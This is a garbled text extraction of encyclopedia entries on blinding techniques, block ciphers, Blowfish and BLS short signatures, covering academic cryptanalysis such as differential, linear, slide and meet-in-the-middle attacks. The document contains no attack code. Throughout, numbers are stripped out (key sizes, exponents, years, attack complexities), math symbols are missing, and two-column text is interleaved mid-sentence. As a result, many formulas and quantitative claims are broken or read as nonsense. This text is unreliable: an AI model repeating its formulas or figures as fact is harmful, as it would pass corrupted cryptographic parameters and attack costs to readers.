change. In: Proceedings of the th ACM-SIAM symposium on Lecture notes in computer science, vol . Springer, Berlin,
discrete algorithms (SODA). ACM, New York, pp pp
. Camenisch JL, Piveteau J-M, Stadler MA () An efficient . Radu C, Govaerts R, Vandewalle J () A restrictive blind
electronic payment system protecting privacy. In: Gollman D signature scheme with applications to electronic cash. Commu-
(ed) ESORICS (Third European symposium on research nications and multimedia security II. Chapman & Hall, London,
in computer security), Brighton. Lecture notes in computer pp
science, vol . Springer, Berlin, pp . Radu C, Govaerts R, Vandewalle J () Efficient electronic
. Camenisch JL, Piveteau J-M, Stadler MA () Blind signa- cash with restricted privacy. In: Financial cryptography.
tures based on the discrete logarithm problem. In: De Santis A Springer, Berlin, pp
(ed) Advances in cryptology: EUROCRYPT. Lecture notes in . Stadler M, Piveteau J-M, Camenisch JL () Fair blind sig-
computer science, vol . Springer, Berlin, pp natures. In: Guillou LC, Quisquater J-J (eds) Advances in
. Camenisch JL, Piveteau J-M, Stadler MA () An efficient cryptology: EUROCRYPT. Lecture notes in computer sci-
fair payment system. In: rd ACM conference on computer and ence, vol . Springer, Berlin, pp
communications security, New Delhi, India, March . ACM
Press, New York, pp
. Chaum D () Blind signatures for untraceable payments. In:
Chaum D, Rivest RL, Sherman AT (eds) Advances in cryptology:
CRYPTO. Lecture notes in computer science. Plenum, New Blinding Techniques
York, pp
. Chaum D () Showing credentials without identifica-
tion: Transferring signatures between unconditionally unlink- Gerrit Bleumer
able pseudonyms. In: Advances in cryptology: AUSCRYPT. Research and Development, Francotyp Group,
Lecture notes in computer science, vol . Springer, Berlin, Birkenwerder bei Berlin, Germany
pp
. Chaum D () Online cash checks. In: Quisquatere J-J, Vande-
walle J (eds) Advances in cryptology: EUROCRYPT. Lecture Related Concepts
notes in computer science, vol . Springer, Berlin, pp Blind Signature; Chaum Blind Signatures; Multiparty
. Chaum D, Fiat A, Naor M () Untraceable electronic cash.
In: Goldwasser S (ed) Advances in cryptology: CRYPTO.
Computation
pp Denition
. Chaum D, Pedersen TP () Wallet databases with observers. Blinding is a cryptographic concept that allows to divide
In: Brickell EF (ed) Advances in cryptology: CRYPTO. the control of computing a function between two or more
pp
parties.
. Ferguson N () Single term off-line coins. In: Helleseth T
(ed) Advances in cryptology: EUROCRYPT. Lecture notes in Theory
computer science, vol . Springer, Berlin, pp Blinding is a concept in cryptography that allows a client
. Ferguson N () Extensions of single-term coins. In:
to have a provider compute a mathematical function y =
Stinson DR (ed) Advances in cryptology: CRYPTO. Lecture
notes in computer science, vol . Springer, Berlin, pp
f (x), where the client provides an input x and retrieves
. Frankel Y, Tsiounis Y, Yung M () Indirect discourse proofs: the corresponding output y, but the provider would learn
Achieving efficient fair off-line e-cash. In: Kim K, Matsumoto T about neither x nor y. This concept is useful if the client
Blinding Techniques B
cannot compute the mathematical function f all by him- . The provider generates a pair (x, y) of a private key and
self, for example, because the provider uses an additional a public key and publishes y.
private input in order to compute f efficiently. . The client chooses an input m, generates a blinding
Blinding techniques can be used on the client side of factor a A at random, and transforms m into m =
clientserver architectures in order to enhance the privacy y,a (m).
of users in online transactions. This is the most effective . The client sends m to the provider and receives z =
B
way of dealing with server(s) that are not fully trusted. fx (m ) from the provider in return.
Blinding techniques are also the most effective coun- . The client computes z = y,a (z ).
termeasure against remote timing analysis of Web servers
If both m and m are equally meaningful or meaningless to
[] and against power analysis and/or timing analysis of
the provider, then he has no way of distinguishing a client
hardware security modules (side-channel attacks and side-
who sends the plain argument m from a client who sends
channel analysis).
a blinded argument m in step .
In a typical setting, a provider offers to compute a func-
The first blinding technique was proposed by Chaum
tion fx (m) using some private key x and some input m
as part of the Chaum Blind Signature [, ]. It is based on a
chosen by a client. A client can send an input m, have the
homomorphic property of the RSA signing function (RSA
provider compute the corresponding result z = fx (m), and
digital signature scheme).
retrieve z from the provider afterward. With a blinding
Let n = pq be the product of two large safe primes,
technique, a client would send a transformed input m to
(x, y) being a pair of private and public RSA keys such
the provider, and would retrieve the corresponding result
that x is chosen randomly from Z(p)(q) and y =
z in return. From this result, the client could then derive
the result z = fx (m ) that corresponds to the input m x (mod(p )(q )) and M = Zn be the domain of

in which the client was interested in the first place. Some multiplicative inverses of the residues modulo n. The func-
blinding techniques guarantee that the provider learns no tions fx (m) = mx (mod n) are the RSA signing functions.
information about the clients input m and the correspond- The families and of auxiliary functions are chosen as
ing output z. follows:
More precisely, blinding works as follows: consider a
key generating algorithm gen that outputs pairs (x, y) of y,a (m) = may (mod n)
private and public keys (public key cryptography), two
y,a (z ) = z a (mod n)
domains M, Z of messages, and a domain A of blinding fac-
tors. Assume a family of functions z = fx (m), where each
member is indexed by a private key x, takes as input a value
m M, and produces an output z Z. Let y,a : M M Applications
and y, a : Z Z be two families of auxiliary functions, Blinding techniques have been used in a variety of inter-
where each member is indexed by a public key y and a active protocols such as divertible proofs of knowledge
blinding factor a, such that the following two conditions [, , ], privacy-oriented electronic cash [, ], unlink-
hold for each key pair (x, y) that can be generated by gen, able credentials [], and in anonymous electronic voting
each blinding factor a A and each input m M: schemes.
The functions y,a and y, a are computable in poly-

nomial time. Recommended Reading
y,a ( fx ( y,a (m))) = fx (m) (as shown in the follow- . Blaze M, Bleumer G, Strauss M () Divertible protocols and
atomic proxy cryptography. In: Nyberg K (ed) Advances in cryp-
ing diagram). tology: EUROCRYPT. Lecture notes in computer science,
f x (m) . Brands S () Untraceable off-line cash in wallet with
M 3 Z observers. In: Stinson DR (ed) Advances in cryptology:
CRYPTO. Lecture notes in computer science, vol . Springer,
y,a (m)
y,a (z ) Berlin, pp

f x (m ) . Brickell E, Gemmell P, Kravitz D () Trustee-based tracing
M 3 Z extensions to anonymous cash and the making of anonymous
change. In: th ACM-SIAM symposium on discrete algorithms
In order to blind the computation of fx by the provider, (SODA). ACM, New York, pp
a client can use the auxiliary functions in a two-pass . Brumley D, Boneh D () Remote timing attacks are practi-
interactive protocol as follows: cal. In: Proceedings of the th USENIX security symposium,
B Block Ciphers
Washington, DC, . http://www.usenix.org/publications/ Corollary A cipher with perfect secrecy is uncondition-

library/proceedings/sec/ ally secure against an adversary who, a priori, knows only
. Chaum D () Blind signatures for untraceable payments. In:
the ciphertext.
Chaum D, Rivest RL, Sherman AT (eds) Advances in cryptol-
ogy: CRYPTO. Lecture notes in computer science. Plenum,
New York, pp As noted by Shannon the Vernam cipher, also called the
. Chaum D () Showing credentials without identification: one-time pad, obtains perfect secrecy. In the one-time pad
Transferring signatures between unconditionally unlinkable the plaintext characters are added with independent key
pseudonyms. Advances in cryptology: AUSCRYPT, Sydney, characters to produce the ciphertexts. However, the prac-
Australia, January . Lecture notes in computer science,
tical applications of perfect secret-key ciphers are limited,
. Chaum D, Pedersen TP () Wallet databases with observers. since it requires as many digits of secret key as there are
In: Brickell EF (ed) Advances in cryptology: CRYPTO. Lec- digits to be enciphered. A more desirable situation would
ture notes in computer science, vol . Springer, Berlin, be if the same key could be used to encrypt texts of many
pp more bits.
. Okamoto T, Ohta K () Divertible zero-knowledge interactive
Two generally accepted design principles for practical
proofs and commutative random self-reducibility. In: Quisquater
J-J, Vandewalle J (eds) Advances in cryptology: EUROCRYPT. ciphers are the principles of confusion and diffusion that
Lecture notes in computer science, vol . Springer, Berlin, were suggested by Shannon. Confusion: The ciphertext
pp statistics should depend on the plaintext statistics in a
manner too complicated to be exploited by the cryptanalyst.
Diffusion: Each digit of the plaintext and each digit of the
secret key should influence many digits of the ciphertext.
Block Ciphers These two design principles are very general and informal.
Shannon also discusses two other more specific design
Lars R. Knudsen principles. The first is to make the security of the system
Department of Mathematics, Technical University of reducible to some known difficult problem. This principle
Denmark, Lyngby, Denmark has been used widely in the design of public-key systems,
but not in secret-key ciphers. Shannons second principle
is to make the system secure against all known attacks,
which is still the best known design principle for secret-key
ciphers today.
Denition
A block cipher with n-bit blocks and a -bit key is a
For any given key k, a block cipher specifies an encryp-
selection of permutations (bijective mappings) of n bits.
tion algorithm for computing the n-bit ciphertext for a
For any given key k, the block cipher specifies an encryp-
given n-bit plaintext, together with a decryption algorithm
tion algorithm for computing the n-bit ciphertext for a
for computing the n-bit plaintext corresponding to a given
given n-bit plaintext, together with a decryption algorithm
n-bit ciphertext.
for computing the n-bit plaintext corresponding to a given
n-bit ciphertext.
Background The number of permutations of n-bit blocks is n !,
n
n
Encryption systems have existed for thousands of years; which using Stirlings approximation is n ( e ) for
many of the older systems may be characterized as block n
n
n
ciphers. Block ciphers became popular with the publica- large n. Since n ( e ) < (n) for n , with
tion of the Data Encryption Standard in . = (n )n one could cover all n-bit permutations, but
typically is chosen much smaller for practical reasons.
For example, for the AES [] one option is the parameters
Theory = n = in which case (n )n .
In his milestone paper from [] Shannon defines per- Most block ciphers are so-called iterated ciphers where
fect secrecy for secret-key systems and shows that they the output is computed by applying in an iterative
exist. A secret-key cipher obtains perfect secrecy if for all fashion a fixed key-dependent function r times to the
plaintexts x and all ciphertexts y it holds that Pr(x) = input. One says that such a cipher is an r-round iter-
Pr(xy) []. In other words, a ciphertext y gives no infor- ated (block) cipher. A key-schedule algorithm takes as
mation about the plaintext. This definition leads to the input the user-selected -bit key and produces a set of
following result. subkeys.
Block Ciphers B
Let g be a function which is invertible when the first Assumption All keys are equally likely and a key k is
of its two arguments is fixed. Define the sequence zi recur- always chosen uniformly at random.
sively by
Also it is often assumed that all details about the cryp-
zi = g(ki , zi ) () tographic algorithm used by the sender and receiver are
known to the attacker, except for the value of the secret key. B
where z is the plaintext, ki is the ith subkey, and zr is the Assumption is known as Kerckhoffss Assumption.
ciphertext. The function g is called the round function:
Assumption The enemy cryptanalyst knows all details
k k kr
of the enciphering process and deciphering process except for
z g z g z zr g zr the value of the secret key.
In many block ciphers g consists of a layer of substi- The possible attacks against a block cipher are classified
tution boxes, or S-boxes, and a layer of bit permutations. as follows, where A is the attacker:
Such ciphers are called SP-networks. Ciphertext-only attack. A intercepts a set of ciphertexts.
A special kind of iterated ciphers are the Feistel Known plaintext attack. A obtains x , x , . . . , xs and
ciphers, which are defined as follows. Let n (even) be the y , y , . . . , ys , a set of s plaintexts and the corresponding
block size and assume the cipher runs in r rounds. Let zL ciphertexts.
and zR be the left and right halves of the plaintext, respec- Chosen plaintext attack. A chooses a priori a set of s
tively, each of n/ bits. The round function g operates as plaintexts x , x , . . . , xs and obtains in some way the
follows: corresponding ciphertexts y , y , . . . , ys .
L R
zi = zi Adaptively chosen plaintext attack. A chooses a set of
plaintexts x , x , . . . , xs interactively as he obtains the
ziR = f (ki , zi
R L
) + zi
corresponding ciphertexts y , y , . . . , ys .
Chosen ciphertext attacks. These are similar to those of
and the ciphertext is the concatenation of zrR and zrL . Here
chosen plaintext attack and adaptively chosen plaintext
f can be any function taking as arguments an n/-bit text
attack, where the roles of plaintexts and ciphertexts are
and a round key ki and producing n/ bits. + is a com-
interchanged.
mutative group operation on the set of n/-bit blocks. If
not specified otherwise it will be assumed that + is bit- Also, one can consider any combination of the above
wise addition modulo (or in other terms, the exclusive-or attacks. The chosen text attacks are obviously the most
operation denoted by ). Also, variants where the texts powerful attacks. In many applications they are however
are split into two parts not of equal lengths and variants also unrealistic attacks.
where the texts are split into more than two parts have been Redundancy is an effect of the fact that certain
suggested. sequences of plaintext characters appear more frequently
Two of the most important block ciphers are the Feistel than others. If the plaintexts contain redundancy, it may
cipher Data Encryption Standard (DES) [] and the SP- be hard for an attacker to trick a legitimate sender into
network Advanced Encryption Standard (AES) []. encrypting non-meaningful plaintexts and similarly hard
In the following ek () and dk () denote the encryption to get ciphertexts decrypted, which do not yield meaning-
operation, respectively, the decryption operation of a block ful plaintexts. But if a system is secure against an adap-
cipher of block length n using the -bit key k. tively chosen plaintext/ciphertext attack then it is also
Next described is a model which is standard in secret- secure against all other attacks. An ideal situation for a
key cryptology. The sender and the receiver share a com- designer would be to prove that her system is secure against
mon key k, which has been transmitted over a secure an adaptively chosen text attack, although an attacker
channel. The sender encrypts a plaintext x using the secret may never be able to mount more than a ciphertext only
key k, sends the ciphertext y over an insecure channel to attack.
the receiver, who restores y into x using k. The attacker has The unicity distance of a block cipher is the smallest
access to the insecure channel and can intercept the cipher- integer s such that essentially only one value of the secret
texts (cryptograms) sent from the sender to the receiver. key k could have encrypted a random selection of s plain-
To avoid an attacker to speculate in how the legitimate text blocks to the corresponding ciphertext blocks. The
parties have constructed their common key, the following unicity distance depends on both the key size and on the
assumption is often made. redundancy in the plaintext space. However, the unicity
B Block Ciphers
distance gives no indication of the computational diffi- ek (xj yj ) yi yj = xi xj , thus information

culty in breaking a cipher, it is merely a lower bound on about the plaintexts is leaked. With s n/ the prob-
the amount of ciphertext blocks needed in a ciphertext- ability to find matching ciphertexts is about /, refer
only attack to be able to (at least in theory) to iden- birthday paradox.
tify a unique key. Let and n be the number of bits in Time-memory trade-off attack []: Assume for sake of
the secret key, respectively, in the plaintexts and cipher- exposition that the key space of the attacked cipher
texts and assume that the keys are always chosen uni- equals the ciphertext space, that is, = n. Fix some
formly at random. In a ciphertext-only attack the unic- plaintext block x . Define the function f (z) = ez (x ).
ity distance is defined as nu = /(nrL ), where rL is Select m randomly chosen values z , . . . , z m . For each
the redundancy of the plaintexts. The concept can be j j
j {, . . . , m} compute the values zi = f (zi ) for
adapted also to the known or chosen plaintext scenarios. j
i = , . . . , t, where z j = z ; store the pairs (start and end
In these cases the redundancy of the plaintexts from the j j
attackers point of view is %. The unicity distance in a results) (z , zt ) for j = , . . . , m in a table T and sort the
known or chosen plaintext attack is nv = /n. elements on the second components.
The results of the cryptanalytic effort of the attacker A
Subsequently, imagine that an attacker has intercepted
can be grouped as follows []:
the ciphertext y = ek (x ). Let w = y and check if w is
Total break. A finds the secret key k. a second component in T. If, say, w = zt , the attacker
Global deduction. A finds an algorithm F, functionally can find a candidate for the key k by computing forward
equivalent to ek () (or dk ()) without knowing the from z . If this does not lead to success, compute wi =
key k. f (wi ) and repeat the above test for wi for i = , , . . . , t.
Local deduction. A finds the plaintext (ciphertext) of an A close analysis [] shows that if m and t are chosen
intercepted ciphertext (plaintext), which he did not such that mt , there is a probability of about mt/
obtain from the legitimate sender. that in the above computations of {zik } the secret key have
Distinguishing algorithm. A is given access to a black-box been used. If this is the case, the attack will find the secret
containing either the block cipher for a randomly cho- key. If it is not the case, the attack fails. The probability of
sen key or a randomly chosen permutation. He is able success can be increased by repeating the attack. E.g., with
to distinguish between these two cases. / iterations each time with m = t = / one obtains a
probability of success of more than /.
Clearly, this classification is hierarchical, that is, if a In summary, with = n the attack finds the secret key
total break is possible, then a global deduction is possible with good probability after / encryptions using /
and so on. words of memory. The / words of memory are com-
Cryptanalysis. To begin here is a list of attacks which puted in a pre-processing phase, which takes the time of
apply to all block ciphers. about encryptions.
To estimate the complexity of a cryptanalytic attack
Exhaustive key search: This attack requires the computa-
one must consider at least the time it takes, the amount
tion of about encryptions and requires nu ciphertexts
of data that is needed and the storage requirements. For
(ciphertext-only attack) or nv plaintext/ciphertext pairs
an n-bit block cipher, the following complexities should be
(known and chosen plaintext attack), where nu and nv
considered:
are the unicity distances, cf above.
Table attack: Encrypt in a pre-computation phase a fixed Data complexity: The amount of data needed as input to
plaintext x under all possible keys, sort and store all an attack. Units are measured in blocks of length n.
ciphertexts. Thereafter a total break is possible requir- Processing complexity: The time needed to perform an
ing one chosen plaintext. attack. Time units are measured as the number of
Dictionary attack: Intercept and store all possible plain- encryptions an attacker has to do himself.
text/ciphertext pairs. The running time of a deduction Storage complexity: The words of memory needed to do
is the time of one table look-up. the attack. Units are measured in blocks of length n.
Matching ciphertext attack : This attack applies to encryp-
tion using the (ecb), (cbc) and (cfb) modes of operation, The complexity of an attack is often taken as the maximum
refer modes of operation for a block cipher. Collect s of the three complexities above, however, in most scenarios
ciphertext blocks and check for collisions. For example, the amount of data encrypted with the same secret key is
if yi , yj are n-bit blocks encrypted (using the same key) often limited and for most attackers the available storage
in the (cbc) mode, then if yi = yj , then ek (xi yi ) = is small.
Block Ciphers B
Iterated attacks. Let x and y denote the plaintext the distribution of output differences of the non-linear
respectively the ciphertext. In most modern attacks on components is non-uniform. A difference between two
iterated ciphers, the attacker repeats his attack for all pos- bit strings, x and x of equal length is defined in general
sible values of (a subset of) the bits in the last-round key. terms as x = x (x ) , where is a group operation
The idea is, that when he guesses the correct values on bit strings and where denotes the inverse element.
of the key bits, he can compute the value of some bits of Consider an iterated cipher, cf. ( ). The pair (z , zs )
B
the ciphertexts before the last round, whereas when he is called an s-round differential []. The probability of
guesses wrongly, these bits will correspond to ciphertext the differential is the conditional probability that given an
bits encrypted with a wrong key. If one can distinguish input difference z in the plaintexts, the difference in the
between these two cases one might be able to extract bits of ciphertexts after s rounds is zs . Experiments have shown
the last-round key. The wrong key randomization hypothe- that the number of chosen plaintexts needed by the dif-
sis, which is often used, says that when the attacker guesses ferential attack in general is approximately /p, where p is
a wrong value of the key then the resulting values are ran- the probability of the differential being used. For iterated
dom and uniformly distributed. If an attacker succeeds in ciphers one often specifies the expected differences after
determining the value of the last-round key he can peel off each round of encryption. Such a structure over s rounds,
one round of the cipher and do a similar attack on a cipher i.e., (z , z , . . . , zs , zs ), is called an s-round charac-
one round shorter to find the second-last round key, etc. In teristic. The differential attack is explained in more details
some attacks it is advantageous to consider the first-round in differential cryptanalysis.
key instead of the last-round key or both at the same time, Extensions, generalization, and variations. The dif-
depending on the structure of the cipher, the number of ferential and linear attacks have spawned a lot of research
key bits involved in each round, etc. in block cipher cryptanalysis and several extensions, gener-
The two most general attacks on iterated ciphers are alizations and variants of the differential and linear attacks
linear cryptanalysis and differential cryptanalysis. have been developed. In [] it was shown how to combine
Linear cryptanalysis. Linear cryptanalysis [] is a the techniques of differential and linear attacks. In partic-
known plaintext attack. Consider an iterated cipher, cf. (). ular, an attack on the DES reduced to eight rounds was
Then a linear approximation over s rounds (or an s-round devised, which on input only chosen plaintexts finds
linear hull) is the secret key. In [] a generalization of both the differ-
ential and linear attacks, known as statistical cryptanalysis,
(zi ) (zi+s ) = ()
was introduced. It was demonstrated that this statistical
which holds with a certain probability p, where zi , zi+s , , attack on the DES includes the linear attack by Matsui
are n-bit strings and where denotes the dot (or inner) but without any significant improvement. There are other
product modulo . The strings , , are also called masks. extensions and variants of the linear attack, see [].
The quantity p / is called the bias of the approxima- A dth order differential [] is the difference between
tion. The expression with a on the right side of () will two (d )st order differentials and is a collection of d
have a probability of p, but the biases of the two expres- texts, where a first-order differential is what is called a
sions are the same. The linear round-approximations are differential above. The main idea in the higher order dif-
usually found by combining several one-round approxi- ferential attack is the fact that a dth order differential of
mations under the assumption that the individual rounds a function of maximum algebraic degree d is a constant.
are mutually independent (for most ciphers this can be Consequently, a (d + )st order differential of the function
achieved by assuming that the round keys are indepen- is zero.
dent). The complexity of a linear attack is approximately The boomerang attack [] is a clever application of
p / . It was confirmed by computer experiments a second-order differential. Boomerangs are particularly
that the wrong key randomization hypothesis holds for the effective when one can find a good differential covering
linear attack on the DES. The attack on the DES was imple- the first half of the encryption operation and a good differ-
mented in , required a total of known plaintexts ential covering the first half of the decryption operation.
[]. Linear cryptanalysis for block ciphers gives further More details of the attack can be found in boomerang
details of the attack. attack.
Differential cryptanalysis. Differential cryptanalysis Let { , , . . . , s } be an s-round characteristic. Then
[] is a chosen plaintext attack and was the first published { , , . . . , s } is called a truncated characteristic, if i is a
attack which could (theoretically) recover DES keys in time subsequence of i . Truncated characteristics were used to
less than that of an exhaustive search for the key. In a differ- some extent in []. Note that a truncated characteristic is
ential attack one exploits that for certain input differences a collection of characteristics and therefore reminiscent of
B Block Ciphers
a differential. A truncated characteristic contains all char- distinguished from random. For a four-round construc-
acteristics { , , . . . , s } for which trunc ( i) = i , tion it was shown that even under this strong attack, an
where trunc(x) is a truncated value of x not further spec- attacker needs at least n/ chosen texts to distinguish the
ified here. The notion of truncated characteristics extends construction from a random n-bit function.
in a natural way to truncated differentials introduced in []. In the decorrelation theory [] one attempts to distin-
Other attacks. Integral cryptanalysis [] can be seen guish a given n-bit block cipher from a randomly chosen
as a dual to differential cryptanalysis and it is the best n-bit permutations. Using particular well-defined metrics
known attack on the Advanced Encryption Standard. this approach is used to measure the distance between
The attack is explained in more details in multi-set a block cipher and randomly chosen permutations. One
attacks. In the interpolation attack one expresses the speaks about decorrelation of certain orders depending
ciphertext as a polynomial of the plaintext. If this polyno- on the type of attack one is considering. It was further
mial has a sufficiently low degree, an attacker can recon- shown how this technique can be used to prove resis-
struct it from known (or chosen) plaintexts and the cor- tance against elementary versions of differential and linear
responding ciphertexts. In this way, he can encrypt any cryptanalysis.
plaintext of his choice without knowing the (explicit) value Resistance against differential and linear attacks.
of the secret key. There has been a range of other corre- First it is noted that one can unify the complexity measures
lation attacks most of which are relative to the attacked in differential and linear cryptanalysis. Let pL be the proba-
cipher, but which all exploit the nonuniformity of certain bility of a linear approximation for an iterated block cipher,
bits of plain- and ciphertexts. then define q = (pL ) . Let q denote the highest such
Key schedule attacks. One talks about weak keys for quantity for a one-round linear approximation. Denote by
a block cipher, if there is a subspace of keys relative to p the highest probability of a one-round differential achiev-
which a certain attack can be mounted successfully, such able by the cryptanalyst. It is possible to lower bound the
that for all other keys the attack has little or zero probabil- probabilities of all differentials and all hulls in an r-round
ity of success. If there are only a small number of weak keys iterated cipher expressed in terms of p and q. The prob-
they pose no problem for applications of encryption if the abilities are taken as an average over all possible keys. It
encryption keys are chosen uniformly at random. How- has further been shown that the round functions in iterated
ever, when block ciphers are used in other modes, e.g., for ciphers can be chosen in such a way that the probabilities
hashing, these attacks play an important role. of the differentials and of the linear hulls are small. In this
One talks about related keys for a block cipher, if way it is possible to construct iterated ciphers with a proof
for two (or more) keys k and k of a certain relation, of security (as an average over all possible keys) against dif-
there are certain (other) relations between the two (or ferential and linear cryptanalysis. See the survey article []
more) encryption functions ek () and ek (), which can be for further details. This approach was used in the design of
exploited in cryptanalytic attacks. There are several vari- the block cipher Kasumi.
ants of this attack depending on how powerful the attacker Enhancing existing constructions. In a double encryp-
A is assumed to be. One distinguishes between whether tion with two keys k and k , the ciphertext corresponding
A gets encryptions under one or under several keys and to x is y = ek (ek (x)). However, regardless of how k , k are
whether there is a known or chosen relation between generated, there is a meet-in-the-middle attack that breaks
the keys. this system with a few known plaintexts using about +
The slide attack [] applies to iterated ciphers where the encryptions and blocks of memory, that is, roughly the
list of round keys has a repeated pattern. E.g., if all round same time complexity as key search in the original system.
functions are identical, there are very efficient attacks. Assume some plaintext x and its corresponding cipher-
Bounds of attacks. A motivation for the Feistel cipher text y encrypted as above is given. Compute ek (x) for all
design is the results by Luby and Rackoff, refer Luby- choices of the key k = i and store the results ti in a table.
Rackoff ciphers. They showed how to build a n-bit Next compute dk (y) for all values of the key k = j and
pseudo-random permutation from a pseudorandom n-bit check whether the results sj match a value in the table, that
function using the Feistel construction. For a three-round is, whether for some (i, j), ti = sj . Each such match gives
construction they showed that under a chosen plaintext a candidate k = i and k = j for the secret key. The attack
attack, an attacker needs at least n/ chosen texts to dis- is repeated on additional pairs of plaintext-ciphertext until
tinguish the Feistel construction from a random n-bit only one pair of values for the secret key remains suggested.
function. Under a combined chosen plaintext and cho- The number of known plaintexts needed is roughly n.
sen ciphertext attack this construction is however easily There are variants of this attack with tradeoffs between
Blowsh B
running time and the amount of storage needed []. In a Lecture notes in computer science, vol . Springer, Berlin,
triple encryption with three independent keys k, k , and k , pp
. Matsui M () The first experimental cryptanalysis of the data
the ciphertext corresponding to x is y = ek (ek (ek (x))).
encryption standard. In: Desmedt YG (ed) Advances in cryptol-
One variant of this idea is well known as two-key triple ogy CRYPTO, Lecture notes in computer science, vol .
encryption, proposed in [], where the ciphertext corre-
sponding to x is ek (dk (ek (x))). Compatibility with a .
Springer, Berlin, pp
National Bureau of Standards () Data encryption standard.
B
single encryption can be obtained by setting k = k . How- Federal Information Processing Standard (FIPS), Publication
, National Bureau of Standards, U.S. Department of Com-
ever, whereas triple encryption is provably as secure as a
merce, Washington, DC
single encryption, a similar result is not known for two-key . NIST () Advanced encryption standard. FIPS , US
triple encryption. Department of Commerce, Washington, DC
Another method of increasing the key size is by key- . Shannon CE () Communication theory of secrecy systems.
whitening. One approach is the following: y = ek (x k ) Bell Syst Technol J :
. Tuchman W () Hellman presents no shortcut solutions to
k , where k is a -bit key, and k and k are n-bit keys.
DES. IEEE Spectr ():
Alternatively, k = k may be used. It was shown [] that . van Oorschot PC, Wiener MJ () Parallel collision search
for attacks not exploiting the internal structure the effective with cryptanalytic applications. J Cryptol ():
key size is + n log m bits, where m is the maxi- . Vaudenay S () An experiment on DES statistical crypt-
mum number of plaintext/ciphertext pairs the attacker can analysis. In: Proceedings of the rd ACM conferences on com-
puter security, New Delhi. ACM Press, New York, pp
obtain. (This method applied to the DES is named DES-X
. Vaudenay S () Decorrelation: a theory for block cipher
and attributed to Ron Rivest.) security. J Cryptol ():
. Wagner D () The boomerang attack. In: Knudsen LR
(ed) Fast software encryption, sixth international workshop,
Recommended Reading Rome, March , Lecture notes in computer science, vol .
. Biham E, Shamir A () Differential cryptanalysis of the data Springer, Berlin, pp
encryption standard. Springer, Berlin
. Biryukov A, Wagner D () Slide attacks. In: Knudsen LR
(ed) Fast software encryption, sixth international workshop,
Rome, March . Lecture notes in computer science, vol .
Springer, Berlin, pp Blowsh
. Daemen J, Knudsen L, Rijmen V () The block cipher Square.
In: Biham E (ed) Fast software encryption, fourth interna- Christophe De Cannire
tional workshop, Haifa, January . Lecture notes in computer
Department of Electrical Engineering, Katholieke
science, vol . Springer, Berlin, pp
. Hellman M () A cryptanalytic time-memory trade-off. IEEE
Universiteit Leuven, Leuven-Heverlee, Belgium
Trans Inform Theory IT-():
. Hellman ME, Langford SK () Differentiallinear cryptanal-
ysis. In: Desmedt Y (ed) Advances in cryptology: CRYPTO,
Related Concepts
Lecture notes in computer science, vol . Springer, Berlin, Block Ciphers; Differential Cryptanalysis; Feistel
pp Cipher; Weak Keys
. Kilian J, Rogaway P () How to protect DES against exhaus-
tive key search (an analysis of DESX). J Cryptol (): Blowfish [] is a -bit Block cipher designed by Bruce
. Knudsen LR () Truncated and higher order differentials. In:
Schneier and published in . It was intended to be an
Preneel B (ed) Fast software encryption second international
workshop, Leuven. Lecture notes in computer science, vol .
attractive alternative to DES (Data Encryption Standard)
Springer, Berlin, pp or IDEA. Today, the Blowfish algorithm is widely used
. Knudsen LR () Contemporary block ciphers. In: Damgrd I and included in many software products.
(ed) Lectures on data security, modern cryptology in theory and Blowfish consists of Feistel-like iterations. Each
practice, Summer School, Aarhus, July . Lecture notes in
iteration operates on a -bit datablock, split into two
computer science, vol . Springer, Berlin, pp
. Lai X () Higher order derivatives and differential cryptanal-
-bit words. First, a round key is XORed to the left word.
ysis. In: Blahut R (ed) Communication and cryptography, two The result is then input to four key-dependent -bit
sides of one tapestry. Kluwer, Dordrecht. ISBN --- S-boxes, yielding a -bit output word, which is XORed to
. Lai X, Massey JL, Murphy S () Markov ciphers and differen- the right word. Both words are swapped and then fed to the
tial cryptanalysis. In: Davies DW (ed) Advances in cryptology
next iteration.
EUROCRYPT, Lecture notes in computer science, vol .
The use of key-dependent S-boxes distinguishes Blow-
. Matsui M () Linear cryptanalysis method for DES cipher. fish from most other ciphers, and requires a rather complex
In: Helleseth T (ed) Advances in cryptology EUROCRYPT, key-scheduling algorithm. In a first pass, the lookup tables
B BLP
32 bits 32 bits
Pi
BLP
S-box 1
BellLa Padula Model
S-box 2
32 bits
S-box 3 32 bits
BLP Model
S-box 4
BellLa Padula Model
BLS Short Digital Signatures

Dan Boneh
Blowsh. Fig. One round of Blowsh Department of Computer Science, Stanford University,
Stanford, CA, USA
determining the S-boxes are filled with digits of , XORed

Related Concepts
with bytes from a secret key which can consist of
Digital Signature Schemes; Random Oracle Model
bits. This preliminary cipher is then used to generate the
actual S-boxes. Although Blowfish is one of the faster block
Background
ciphers for sufficiently long messages, the complicated
It is well known that a digital signature scheme (DSS)
initialization procedure results in a considerable efficiency
that produces signatures of length can have security
degradation when the cipher is rekeyed too frequently. The
at most . In other words, it is possible to forge a signa-
need for a more flexible key schedule was one of the fac-
ture on any message in time O( ) just given the public
tors that influenced the design of Twofish, an Advanced
key. It is natural to ask whether we can construct signatures
Encryption Standard (Rijndael/AES) finalist which was
with such security, i.e., signatures of length where the best
inspired by Blowfish.
algorithm for creating an existential forgery (with con-
Since the publication of Blowfish, only a few cryptan-
stant success probability) under a chosen message attack
alytical results have been published. A first analysis was
takes time O( ). Concretely, is there a signature scheme
made by Vaudenay [], who revealed classes of weak keys
producing -bit signatures where creating an existential
for up to rounds of the cipher. Rijmen [] proposed
forgery (with probability /) takes time approximately
a second-order differential attack on a four-round vari-
?
ant of Blowfish. In a paper introducing slide attacks [],
Biryukov and Wagner highlighted the importance of XOR-
ing a different subkey in each round of Blowfish (Fig. ).
Theory
DSS signatures and Schnorr signatures provide secur-
ity O( ) with signatures that are -bits long. These signa-
Recommended Reading tures can be shortened [] to about .-bits without much
. Biryukov A, Wagner D () Slide attacks. In: Knudsen LR (ed) affect on security. Hence, for concrete parameters, = ,
Proceedings of fast software encryptionFSE. Lecture notes
shortened DSS signatures are -bits long.
in computer science, vol , Springer, Berlin, pp
. Rijmen V () Cryptanalysis and design of iterated block
Boneh et al. [] describe a short signature scheme
ciphers. PhD thesis, Katholieke Universiteit, Leuven where -bit signatures provide approximately secu-
. Schneier B () Description of a new variable-length key, -bit rity, in the random oracle model. Hence, for = , these
block cipher (Blowfish). In: Anderson RJ (ed) Fast software signatures are approximately half the size of DSS signa-
encryption, FSE. Lecture notes in computer science, vol ,
tures with comparable security. The system makes use of
. Vaudenay S () On the weak keys of Blowfish. In: Gollmann D
a group G where () the computational DiffieHellman
(ed) Fast software encryption, FSE. Lecture notes in computer problem is intractable, and () there is an efficiently com-
